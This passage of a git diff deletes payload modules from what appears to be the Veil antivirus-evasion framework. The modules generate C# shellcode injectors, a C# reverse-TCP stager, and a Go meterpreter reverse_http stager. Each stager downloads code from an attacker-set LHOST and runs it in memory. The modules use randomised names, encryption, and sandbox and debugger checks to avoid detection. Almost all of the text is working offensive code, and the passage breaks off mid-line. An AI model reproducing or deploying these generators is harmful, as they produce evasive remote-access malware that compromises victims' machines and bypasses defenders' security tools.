the Arya crypter"], - "INJECT_METHOD" : ["Virtual", "Virtual or Heap"], - "EXPIRE_PAYLOAD" : ["X", "Optional: Payloads expire after \"Y\" days"], - "HOSTNAME" : ["X", "Optional: Required system hostname"], - "DOMAIN" : ["X", "Optional: Required internal domain"], - "PROCESSORS" : ["X", "Optional: Minimum number of processors"], - "USERNAME" : ["X", "Optional: The required user account"], - "TIMEZONE" : ["X", "Optional: Check to validate not in UTC"], - "DEBUGGER" : ["X", "Optional: Check if debugger is attached"], - "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] - } - - - - def generate(self): - - getDataName = helpers.randomString() - injectName = helpers.randomString() - - payload_code = "using System; using System.Net; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Threading;\n" - payload_code += "namespace %s { class %s {\n" % (helpers.randomString(), helpers.randomString()) - - hostName = helpers.randomString() - portName = helpers.randomString() - ipName = helpers.randomString() - sockName = helpers.randomString() - length_rawName = helpers.randomString() - lengthName = helpers.randomString() - sName = helpers.randomString() - total_bytesName = helpers.randomString() - handleName = helpers.randomString() - - payload_code += "static byte[] %s(string %s, int %s) {\n" %(getDataName, hostName, portName) - payload_code += " IPEndPoint %s = new IPEndPoint(IPAddress.Parse(%s), %s);\n" %(ipName, hostName, portName) - payload_code += " Socket %s = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);\n" %(sockName) - payload_code += " try { %s.Connect(%s); }\n" %(sockName, ipName) - payload_code += " catch { return null;}\n" - payload_code += " byte[] %s = new byte[4];\n" %(length_rawName) - payload_code += " %s.Receive(%s, 4, 0);\n" %(sockName, length_rawName) - payload_code += " int %s = BitConverter.ToInt32(%s, 0);\n" %(lengthName, length_rawName) - payload_code += " byte[] %s = new byte[%s + 5];\n" %(sName, lengthName) - payload_code += " int %s = 0;\n" %(total_bytesName) - payload_code += " while (%s < %s)\n" %(total_bytesName, lengthName) - payload_code += " { %s += %s.Receive(%s, %s + 5, (%s - %s) < 4096 ? (%s - %s) : 4096, 0);}\n" %(total_bytesName, sockName, sName, total_bytesName, lengthName, total_bytesName, lengthName, total_bytesName) - payload_code += " byte[] %s = BitConverter.GetBytes((int)%s.Handle);\n" %(handleName, sockName) - payload_code += " Array.Copy(%s, 0, %s, 1, 4); %s[0] = 0xBF;\n" %(handleName, sName, sName) - payload_code += " return %s;}\n" %(sName) - - - sName = helpers.randomString() - funcAddrName = helpers.randomString() - hThreadName = helpers.randomString() - threadIdName = helpers.randomString() - pinfoName = helpers.randomString() - - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += "static void %s(byte[] %s) {\n" %(injectName, sName) - payload_code += " if (%s != null) {\n" %(sName) - payload_code += " UInt32 %s = VirtualAlloc(0, (UInt32)%s.Length, 0x1000, 0x40);\n" %(funcAddrName, sName) - payload_code += " Marshal.Copy(%s, 0, (IntPtr)(%s), %s.Length);\n" %(sName,funcAddrName, sName) - payload_code += " IntPtr %s = IntPtr.Zero;\n" %(hThreadName) - payload_code += " UInt32 %s = 0;\n" %(threadIdName) - payload_code += " IntPtr %s = IntPtr.Zero;\n" %(pinfoName) - payload_code += " %s = CreateThread(0, 0, %s, %s, 0, ref %s);\n" %(hThreadName, funcAddrName, pinfoName, threadIdName) - payload_code += " WaitForSingleObject(%s, 0xFFFFFFFF); }}\n" %(hThreadName) - - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": - - payload_code += "static void %s(byte[] %s) {\n" %(injectName, sName) - payload_code += " if (%s != null) {\n" %(sName) - payload_code += ' UInt32 {} = HeapCreate(0x00040000, (UInt32){}.Length, 0);\n'.format(pinfoName, sName) - payload_code += ' UInt32 {} = HeapAlloc({}, 0x00000008, (UInt32){}.Length);\n'.format(funcAddrName, pinfoName, sName) - payload_code += ' RtlMoveMemory({}, {}, (UInt32){}.Length);\n'.format(funcAddrName, sName, sName) - payload_code += ' UInt32 {} = 0;\n'.format(threadIdName) - payload_code += ' IntPtr {} = CreateThread(0, 0, {}, IntPtr.Zero, 0, ref {});\n'.format(hThreadName, funcAddrName, threadIdName) - payload_code += ' WaitForSingleObject({}, 0xFFFFFFFF);}}}}\n'.format(hThreadName) - - sName = helpers.randomString() - curlyCount = 0 - payload_code += "static void Main(){\n" - - payload_code2, curlyCount = gamemaker.senecas_games(self) - payload_code = payload_code + payload_code2 - - payload_code += " byte[] %s = null; %s = %s(\"%s\", %s);\n" %(sName, sName, getDataName, self.required_options["LHOST"][0],self.required_options["LPORT"][0]) - payload_code += " %s(%s); }\n" %(injectName, sName) - - while (curlyCount != 0): - payload_code += '\t' * curlyCount + '}' - curlyCount -= 1 - - # get 12 random variables for the API imports - r = [helpers.randomString() for x in range(12)] - y = [helpers.randomString() for x in range(17)] - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 VirtualAlloc(UInt32 %s,UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")]private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s,IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);}}\n"""%(r[0],r[1],r[2],r[3],r[4],r[5],r[6],r[7],r[8],r[9],r[10],r[11]) - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 HeapCreate(UInt32 %s, UInt32 %s, UInt32 %s); \n[DllImport(\"kernel32\")] private static extern UInt32 HeapAlloc(UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 RtlMoveMemory(UInt32 %s, byte[] %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s, IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);}}\n"""%(y[0],y[1],y[2],y[3],y[4],y[5],y[6],y[7],y[8],y[9],y[10],y[11],y[12],y[13],y[14],y[15],y[16]) - - if self.required_options["USE_ARYA"][0].lower() == "y": - payload_code = encryption.arya(payload_code) - - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/cs/shellcode_inject/__init__.py b/Tools/Evasion/payloads/cs/shellcode_inject/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/Tools/Evasion/payloads/cs/shellcode_inject/base64.py b/Tools/Evasion/payloads/cs/shellcode_inject/base64.py deleted file mode 100644 index 96cdf8e..0000000 --- a/Tools/Evasion/payloads/cs/shellcode_inject/base64.py +++ /dev/null @@ -1,142 +0,0 @@ -""" -C# inline shellcode injector using the VirtualAlloc()/CreateThread() pattern. -Uses basic variable renaming obfuscation. - -Adapated from code from: - http://webstersprodigy.net/2012/08/31/av-evading-meterpreter-shell-from-a-net-service/ - -Module built by @harmj0y -Updated for Veil 3 by @evan_pena2003 -""" - -import base64 -from tools.evasion.evasion_common import encryption -from tools.evasion.evasion_common import evasion_helpers -from tools.evasion.evasion_common import gamemaker -from tools.evasion.evasion_common import shellcode_help - - -class PayloadModule: - - def __init__(self, cli_obj): - # required - self.language = "cs" - self.extension = "cs" - self.rating = "Poor" - self.description = "C# VirtualAlloc method for inline shellcode injection" - self.name = "C# Flat Shellcode Injector" - self.path = "cs/shellcode_inject/base64" - self.shellcode = shellcode_help.Shellcode(cli_obj) - self.cli_opts = cli_obj - self.payload_source_code = '' - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - self.cli_shellcode = False - - # options we require user ineraction for- format is {OPTION : [Value, Description]]} - self.required_options = { - "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], - "USE_ARYA" : ["N", "Use the Arya crypter"], - "INJECT_METHOD" : ["Virtual", "Virtual or Heap"], - "EXPIRE_PAYLOAD" : ["X", "Optional: Payloads expire after \"Y\" days"], - "HOSTNAME" : ["X", "Optional: Required system hostname"], - "DOMAIN" : ["X", "Optional: Required internal domain"], - "PROCESSORS" : ["X", "Optional: Minimum number of processors"], - "USERNAME" : ["X", "Optional: The required user account"], - "TIMEZONE" : ["X", "Optional: Check to validate not in UTC"], - "DEBUGGER" : ["X", "Optional: Check if debugger is attached"], - "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] - } - - def generate(self): - - # Generate the shellcode - if not self.cli_shellcode: - Shellcode = self.shellcode.generate(self.cli_opts) - if self.shellcode.msfvenompayload: - self.payload_type = self.shellcode.msfvenompayload - elif self.shellcode.payload_choice: - self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' - # assume custom shellcode - else: - self.payload_type = 'custom' - else: - Shellcode = self.cli_shellcode - # Base64 Encode Shellcode - Shellcode = "0" + ",0".join(Shellcode.split("\\")[1:]) - Shellcode = base64.b64encode(bytes(Shellcode, 'latin-1')).decode('ascii') - - # randomize all our variable names, yo' - namespaceName = evasion_helpers.randomString() - className = evasion_helpers.randomString() - bytearrayName = evasion_helpers.randomString() - funcAddrName = evasion_helpers.randomString() - shellcodeName = evasion_helpers.randomString() - - hThreadName = evasion_helpers.randomString() - threadIdName = evasion_helpers.randomString() - pinfoName = evasion_helpers.randomString() - rand_bool = evasion_helpers.randomString() - random_out = evasion_helpers.randomString() - num_tabs_required = 0 - - # get 12 random variables for the API imports - r = [evasion_helpers.randomString() for x in range(16)] - y = [evasion_helpers.randomString() for x in range(17)] - - #required syntax at the beginning of any/all payloads - payload_code = "using System; using System.Net; using System.Linq; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Threading;\n" - payload_code += "namespace %s { class %s {\n" % (namespaceName, className) - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += """\t\t[DllImport(\"kernel32\")] private static extern IntPtr VirtualAlloc(UInt32 %s,UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")] public static extern bool VirtualProtect(IntPtr %s, uint %s, uint %s, out uint %s);\n[DllImport(\"kernel32\")]private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, IntPtr %s,IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);\n"""%(r[0],r[1],r[2],r[3],r[4],r[5],r[6],r[7],r[8],r[9],r[10],r[11], r[12], r[13], r[14], r[15]) - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": - payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 HeapCreate(UInt32 %s, UInt32 %s, UInt32 %s); \n[DllImport(\"kernel32\")] private static extern UInt32 HeapAlloc(UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 RtlMoveMemory(UInt32 %s, byte[] %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s, IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);"""%(y[0],y[1],y[2],y[3],y[4],y[5],y[6],y[7],y[8],y[9],y[10],y[11],y[12],y[13],y[14],y[15],y[16]) - payload_code += "static void Main() {\n" - - payload_code2, num_tabs_required = gamemaker.senecas_games(self) - payload_code = payload_code + payload_code2 - num_tabs_required += 2 - - payload_code += '\t' * num_tabs_required + "string %s = System.Text.ASCIIEncoding.ASCII.GetString(Convert.FromBase64String(\"%s\"));\n" % (bytearrayName, Shellcode) - - payload_code += '\t' * num_tabs_required + "string[] chars = %s.Split(',').ToArray();\n" %(bytearrayName) - payload_code += '\t' * num_tabs_required + "byte[] %s = new byte[chars.Length];\n" %(shellcodeName) - payload_code += '\t' * num_tabs_required + "for (int i = 0; i < chars.Length; ++i) { %s[i] = Convert.ToByte(chars[i], 16); }\n" %(shellcodeName) - - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += '\t' * num_tabs_required + "IntPtr %s = VirtualAlloc(0, (UInt32)%s.Length, 0x3000, 0x04);\n" % (funcAddrName, shellcodeName) - payload_code += '\t' * num_tabs_required + "Marshal.Copy(%s, 0, (IntPtr)(%s), %s.Length);\n" % (shellcodeName, funcAddrName, shellcodeName) - payload_code += '\t' * num_tabs_required + "IntPtr %s = IntPtr.Zero; UInt32 %s = 0; IntPtr %s = IntPtr.Zero;\n" %(hThreadName, threadIdName, pinfoName) - payload_code += '\t' * num_tabs_required + "uint %s;\n" %(random_out) - payload_code += '\t' * num_tabs_required + "bool %s = VirtualProtect(%s, (uint)0x1000, (uint)0x20, out %s);\n" %(rand_bool, funcAddrName, random_out) - payload_code += '\t' * num_tabs_required + "%s = CreateThread(0, 0, %s, %s, 0, ref %s);\n" % (hThreadName, funcAddrName, pinfoName, threadIdName) - payload_code += '\t' * num_tabs_required + "WaitForSingleObject(%s, 0xFFFFFFFF);}\n" % (hThreadName) - - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": - - rand_heap = evasion_helpers.randomString() - rand_ptr = evasion_helpers.randomString() - rand_var = evasion_helpers.randomString() - - payload_code += '\t' * num_tabs_required + 'UInt32 {} = HeapCreate(0x00040000, (UInt32){}.Length, 0);\n'.format(rand_heap, bytearrayName) - payload_code += '\t' * num_tabs_required + 'UInt32 {} = HeapAlloc({}, 0x00000008, (UInt32){}.Length);\n'.format(rand_ptr, rand_heap, bytearrayName) - payload_code += '\t' * num_tabs_required + 'RtlMoveMemory({}, {}, (UInt32){}.Length);\n'.format(rand_ptr, bytearrayName, bytearrayName) - payload_code += '\t' * num_tabs_required + 'UInt32 {} = 0;\n'.format(rand_var) - payload_code += '\t' * num_tabs_required + 'IntPtr {} = CreateThread(0, 0, {}, IntPtr.Zero, 0, ref {});\n'.format(hThreadName, rand_ptr, rand_var) - payload_code += '\t' * num_tabs_required + 'WaitForSingleObject({}, 0xFFFFFFFF);}}\n'.format(hThreadName) - - - while (num_tabs_required != 0): - payload_code += '\t' * num_tabs_required + '}' - num_tabs_required -= 1 - - if self.required_options["USE_ARYA"][0].lower() == "y": - payload_code = encryption.arya(payload_code) - - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/cs/shellcode_inject/virtual.py b/Tools/Evasion/payloads/cs/shellcode_inject/virtual.py deleted file mode 100644 index bf17545..0000000 --- a/Tools/Evasion/payloads/cs/shellcode_inject/virtual.py +++ /dev/null @@ -1,136 +0,0 @@ -""" -C# inline shellcode injector using the VirtualAlloc()/CreateThread() pattern. -Uses basic variable renaming obfuscation. - -Adapated from code from: - http://webstersprodigy.net/2012/08/31/av-evading-meterpreter-shell-from-a-net-service/ - -Module built by @harmj0y -Updated for Veil 3 by @evan_pena2003 -""" - -from tools.evasion.evasion_common import encryption -from tools.evasion.evasion_common import evasion_helpers -from tools.evasion.evasion_common import gamemaker -from tools.evasion.evasion_common import shellcode_help - - -class PayloadModule: - - def __init__(self, cli_obj): - # required - self.language = "cs" - self.extension = "cs" - self.rating = "Poor" - self.description = "C# VirtualAlloc method for inline shellcode injection" - self.name = "C# Flat Shellcode Injector" - self.path = "cs/shellcode_inject/virtual" - self.shellcode = shellcode_help.Shellcode(cli_obj) - self.cli_opts = cli_obj - self.payload_source_code = '' - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - self.cli_shellcode = False - - # options we require user ineraction for- format is {OPTION : [Value, Description]]} - self.required_options = { - "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], - "USE_ARYA" : ["N", "Use the Arya crypter"], - "INJECT_METHOD" : ["Virtual", "Virtual or Heap"], - "EXPIRE_PAYLOAD" : ["X", "Optional: Payloads expire after \"Y\" days"], - "HOSTNAME" : ["X", "Optional: Required system hostname"], - "DOMAIN" : ["X", "Optional: Required internal domain"], - "PROCESSORS" : ["X", "Optional: Minimum number of processors"], - "USERNAME" : ["X", "Optional: The required user account"], - "TIMEZONE" : ["X", "Optional: Check to validate not in UTC"], - "DEBUGGER" : ["X", "Optional: Check if debugger is attached"], - "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] - } - - def generate(self): - - # Generate the shellcode - if not self.cli_shellcode: - Shellcode = self.shellcode.generate(self.cli_opts) - if self.shellcode.msfvenompayload: - self.payload_type = self.shellcode.msfvenompayload - elif self.shellcode.payload_choice: - self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' - # assume custom shellcode - else: - self.payload_type = 'custom' - else: - Shellcode = self.cli_shellcode - Shellcode = "0" + ",0".join(Shellcode.split("\\")[1:]) - - # randomize all our variable names, yo' - namespaceName = evasion_helpers.randomString() - className = evasion_helpers.randomString() - bytearrayName = evasion_helpers.randomString() - funcAddrName = evasion_helpers.randomString() - - hThreadName = evasion_helpers.randomString() - threadIdName = evasion_helpers.randomString() - pinfoName = evasion_helpers.randomString() - rand_bool = evasion_helpers.randomString() - random_out = evasion_helpers.randomString() - num_tabs_required = 0 - - # get 12 random variables for the API imports - r = [evasion_helpers.randomString() for x in range(16)] - y = [evasion_helpers.randomString() for x in range(17)] - - #required syntax at the beginning of any/all payloads - payload_code = "using System; using System.Net; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Threading;\n" - payload_code += "namespace %s { class %s {\n" % (namespaceName, className) - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += """\t\t[DllImport(\"kernel32\")] private static extern IntPtr VirtualAlloc(UInt32 %s,UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")] public static extern bool VirtualProtect(IntPtr %s, uint %s, uint %s, out uint %s);\n[DllImport(\"kernel32\")]private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, IntPtr %s,IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);\n"""%(r[0],r[1],r[2],r[3],r[4],r[5],r[6],r[7],r[8],r[9],r[10],r[11], r[12], r[13], r[14], r[15]) - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": - payload_code += """\t\t[DllImport(\"kernel32\")] private static extern UInt32 HeapCreate(UInt32 %s, UInt32 %s, UInt32 %s); \n[DllImport(\"kernel32\")] private static extern UInt32 HeapAlloc(UInt32 %s, UInt32 %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 RtlMoveMemory(UInt32 %s, byte[] %s, UInt32 %s);\n[DllImport(\"kernel32\")] private static extern IntPtr CreateThread(UInt32 %s, UInt32 %s, UInt32 %s, IntPtr %s, UInt32 %s, ref UInt32 %s);\n[DllImport(\"kernel32\")] private static extern UInt32 WaitForSingleObject(IntPtr %s, UInt32 %s);"""%(y[0],y[1],y[2],y[3],y[4],y[5],y[6],y[7],y[8],y[9],y[10],y[11],y[12],y[13],y[14],y[15],y[16]) - payload_code += "static void Main() {\n" - - payload_code2, num_tabs_required = gamemaker.senecas_games(self) - payload_code = payload_code + payload_code2 - num_tabs_required += 2 - - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += '\t' * num_tabs_required + "byte[] %s = {%s};" % (bytearrayName, Shellcode) - - payload_code += '\t' * num_tabs_required + "IntPtr %s = VirtualAlloc(0, (UInt32)%s.Length, 0x3000, 0x04);\n" % (funcAddrName, bytearrayName) - payload_code += '\t' * num_tabs_required + "Marshal.Copy(%s, 0, (IntPtr)(%s), %s.Length);\n" % (bytearrayName, funcAddrName, bytearrayName) - payload_code += '\t' * num_tabs_required + "IntPtr %s = IntPtr.Zero; UInt32 %s = 0; IntPtr %s = IntPtr.Zero;\n" %(hThreadName, threadIdName, pinfoName) - payload_code += '\t' * num_tabs_required + "uint %s;\n" %(random_out) - payload_code += '\t' * num_tabs_required + "bool %s = VirtualProtect(%s, (uint)0x1000, (uint)0x20, out %s);\n" %(rand_bool, funcAddrName, random_out) - payload_code += '\t' * num_tabs_required + "%s = CreateThread(0, 0, %s, %s, 0, ref %s);\n" % (hThreadName, funcAddrName, pinfoName, threadIdName) - payload_code += '\t' * num_tabs_required + "WaitForSingleObject(%s, 0xFFFFFFFF);}\n" % (hThreadName) - # payload_code += "private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;\n" - - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": - - rand_heap = evasion_helpers.randomString() - rand_ptr = evasion_helpers.randomString() - rand_var = evasion_helpers.randomString() - - payload_code += '\t' * num_tabs_required + "byte[] %s = {%s};\n" % (bytearrayName, Shellcode) - payload_code += '\t' * num_tabs_required + 'UInt32 {} = HeapCreate(0x00040000, (UInt32){}.Length, 0);\n'.format(rand_heap, bytearrayName) - payload_code += '\t' * num_tabs_required + 'UInt32 {} = HeapAlloc({}, 0x00000008, (UInt32){}.Length);\n'.format(rand_ptr, rand_heap, bytearrayName) - payload_code += '\t' * num_tabs_required + 'RtlMoveMemory({}, {}, (UInt32){}.Length);\n'.format(rand_ptr, bytearrayName, bytearrayName) - payload_code += '\t' * num_tabs_required + 'UInt32 {} = 0;\n'.format(rand_var) - payload_code += '\t' * num_tabs_required + 'IntPtr {} = CreateThread(0, 0, {}, IntPtr.Zero, 0, ref {});\n'.format(hThreadName, rand_ptr, rand_var) - payload_code += '\t' * num_tabs_required + 'WaitForSingleObject({}, 0xFFFFFFFF);}}\n'.format(hThreadName) - - - while (num_tabs_required != 0): - payload_code += '\t' * num_tabs_required + '}' - num_tabs_required -= 1 - - if self.required_options["USE_ARYA"][0].lower() == "y": - payload_code = encryption.arya(payload_code) - - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/go/meterpreter/rev_http.py b/Tools/Evasion/payloads/go/meterpreter/rev_http.py deleted file mode 100644 index a26ddce..0000000 --- a/Tools/Evasion/payloads/go/meterpreter/rev_http.py +++ /dev/null @@ -1,172 +0,0 @@ -""" -Custom-written pure go meterpreter/reverse_http stager - -Module built by @b00stfr3ak44 -""" - -from tools.evasion.evasion_common import evasion_helpers -from tools.evasion.evasion_common import gamemaker -from random import randint - - -class PayloadModule: - - def __init__(self, cli_obj): - # required options - self.description = "pure windows/meterpreter/reverse_http stager, no shellcode" - self.language = "go" - self.extension = "go" - self.rating = "Normal" - self.name = "Pure Golang Reverse HTTP Stager" - self.path = "go/meterpreter/rev_http" - self.cli_opts = cli_obj - self.payload_source_code = '' - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - self.cli_shellcode = False - - # options we require user ineraction for- format is {Option : [Value, Description]]} - self.required_options = { - "LHOST" : ["", "IP of the Metasploit handler"], - "LPORT" : ["80", "Port of the Metasploit handler"], - "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], - "INJECT_METHOD" : ["Virtual", "Virtual or Heap"], - "HOSTNAME" : ["X", "Optional: Required system hostname"], - "PROCESSORS" : ["X", "Optional: Minimum number of processors"], - "USERNAME" : ["X", "Optional: The required user account"], - "UTCCHECK" : ["FALSE", "Check if system uses UTC time"], - "USERPROMPT" : ["FALSE", "Prompt user prior to injection"], - "RAMCHECK" : ["FALSE", "Check for at least 3 gigs of RAM"], - "PROCCHECK" : ["FALSE", "Check for active VM processes"], - "MINPROCS" : ["X", "Minimum number of running processes"], - "BADMACS" : ["FALSE", "Check for VM based MAC addresses"], - "CLICKTRACK" : ["X", "Require X number of clicks before execution"], - "CURSORCHECK" : ["FALSE", "Check for mouse movements"], - "DISKSIZE" : ["X", "Check for a minimum number of gigs for hard disk"], - "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] - } - - def generate(self): - memCommit = evasion_helpers.randomString() - memReserve = evasion_helpers.randomString() - pageExecRW = evasion_helpers.randomString() - kernel32 = evasion_helpers.randomString() - procVirtualAlloc = evasion_helpers.randomString() - base64Url = evasion_helpers.randomString() - size = evasion_helpers.randomString() - err = evasion_helpers.randomString() - randBase = evasion_helpers.randomString() - length = evasion_helpers.randomString() - foo = evasion_helpers.randomString() - random = evasion_helpers.randomString() - outp = evasion_helpers.randomString() - i = evasion_helpers.randomString() - randTextBase64URL = evasion_helpers.randomString() - getURI = evasion_helpers.randomString() - sumVar = evasion_helpers.randomString() - checksum8 = evasion_helpers.randomString() - uri = evasion_helpers.randomString() - value = evasion_helpers.randomString() - hostAndPort = evasion_helpers.randomString() - port = self.required_options["LPORT"][0] - host = self.required_options["LHOST"][0] - response = evasion_helpers.randomString() - uriLength = randint(5, 255) - payload = evasion_helpers.randomString() - bufferVar = evasion_helpers.randomString() - x = evasion_helpers.randomString() - heapcreatevariable = evasion_helpers.randomString() - heapallocvariable = evasion_helpers.randomString() - heapcreateout = evasion_helpers.randomString() - allocvarout = evasion_helpers.randomString() - errorvariable = evasion_helpers.randomString() - errorvariabledos = evasion_helpers.randomString() - cust_func = evasion_helpers.randomString() - - # sandbox check code - sandbox_checks, num_curlys = gamemaker.senecas_games(self) - - payload_code = "package main\nimport (\n\"syscall\"\n\"unsafe\"\n" - payload_code += "\"io/ioutil\"\n\"math/rand\"\n\"net/http\"\n\"time\"\n" - - if self.required_options["PROCESSORS"][0].lower() != "x": - payload_code += "\"runtime\"\n" - - # Add in other imports based on checks being performed - if self.required_options["USERNAME"][0].lower() != "x": - payload_code += "\"strings\"\n\"os/user\"\n" - if self.required_options["HOSTNAME"][0].lower() != "x" or self.required_options["PROCCHECK"][0].lower() != 'false': - if "strings" not in payload_code: - payload_code += "\"strings\"\n" - if self.required_options["SLEEP"][0].lower() != "x": - payload_code += "\"net\"\n\"encoding/binary\"\n" - if self.required_options["BADMACS"][0].lower() != 'false': - if "net" not in payload_code: - payload_code += "\"net\"\n" - if "strings" not in payload_code: - payload_code += "\"strings\"\n" - - payload_code += ")\n" - - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += "const (\n" - payload_code += "%s = 0x1000\n" % (memCommit) - payload_code += "%s = 0x2000\n" % (memReserve) - payload_code += "%s = 0x40\n)\n" % (pageExecRW) - - payload_code += "var (\n" - payload_code += "%s = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_\"\n" %(base64Url) - - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += "%s = syscall.NewLazyDLL(\"kernel32.dll\")\n" % (kernel32) - payload_code += "%s = %s.NewProc(\"VirtualAlloc\")\n)\n" % (procVirtualAlloc, kernel32) - payload_code += "func %s(%s uintptr) (uintptr, error) {\n" % (cust_func, size) - payload_code += "%s, _, %s := %s.Call(0, %s, %s|%s, %s)\n" % (allocvarout, err, procVirtualAlloc, size, memReserve, memCommit, pageExecRW) - payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" % (allocvarout, err, allocvarout) - - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": - payload_code += kernel32 + " = syscall.NewLazyDLL(\"kernel32.dll\")\n" - payload_code += heapcreatevariable + " = " + kernel32 + ".NewProc(\"HeapCreate\")\n" - payload_code += heapallocvariable + " = " + kernel32 + ".NewProc(\"HeapAlloc\")\n)\n" - payload_code += "func %s(%s uintptr) (uintptr, error) {\n" % (cust_func, size) - payload_code += heapcreateout + ", _, " + errorvariable + " := " + heapcreatevariable + ".Call(0x00040000, " + size + ", 0)\n" - payload_code += allocvarout + ", _, " + errorvariabledos + " := " + heapallocvariable + ".Call(" + heapcreateout + ", 0x00000008, " + size + ")\n" - payload_code += "if %s == 0 {\nreturn 0, %s\n}\nreturn %s, nil\n}\n" % (allocvarout, err, allocvarout) - - payload_code += "func %s(%s int, %s []byte) string {\n" % (randBase, length, foo) - payload_code += "%s := rand.New(rand.NewSource(time.Now().UnixNano()))\n" % (random) - payload_code += "var %s []byte\n" % (outp) - payload_code += "for %s := 0; %s < %s; %s++ {\n" % (i, i, length, i) - payload_code += "%s = append(%s, %s[%s.Intn(len(%s))])\n}\n" % (outp, outp, foo, random, foo) - payload_code += "return string(%s)\n}\n" % (outp) - - payload_code += "func %s(%s int) string {\n" % (randTextBase64URL, length) - payload_code += "%s := []byte(%s)\n" % (foo, base64Url) - payload_code += "return %s(%s, %s)\n}\n" % (randBase, length, foo) - - payload_code += "func %s(%s, %s int) string {\n" % (getURI, sumVar, length) - payload_code += "for {\n%s := 0\n%s := %s(%s)\n" % (checksum8, uri, randTextBase64URL, length) - payload_code += "for _, %s := range []byte(%s) {\n%s += int(%s)\n}\n" % (value, uri, checksum8, value) - payload_code += "if %s%s == %s {\nreturn \"/\" + %s\n}\n}\n}\n" % (checksum8, '%0x100', sumVar, uri) - - payload_code += "func main() {\n" - # Sandbox code goes here - if sandbox_checks != '': - payload_code += sandbox_checks - payload_code += "%s := \"http://%s:%s\"\n" % (hostAndPort, host, port) - payload_code += "%s, _ := http.Get(%s + %s(92, %s))\n" % (response, hostAndPort, getURI, uriLength) - payload_code += "defer %s.Body.Close()\n" % (response) - payload_code += "%s, _ := ioutil.ReadAll(%s.Body)\n" % (payload, response) - payload_code += "%s, _ := %s(uintptr(len(%s)))\n" % (allocvarout, cust_func, payload) - payload_code += "%s := (*[990000]byte)(unsafe.Pointer(%s))\n" % (bufferVar, allocvarout) - payload_code += "for %s, %s := range %s {\n" % (x, value, payload) - payload_code += "%s[%s] = %s\n}\n" % (bufferVar, x, value) - payload_code += "syscall.Syscall(%s, 0, 0, 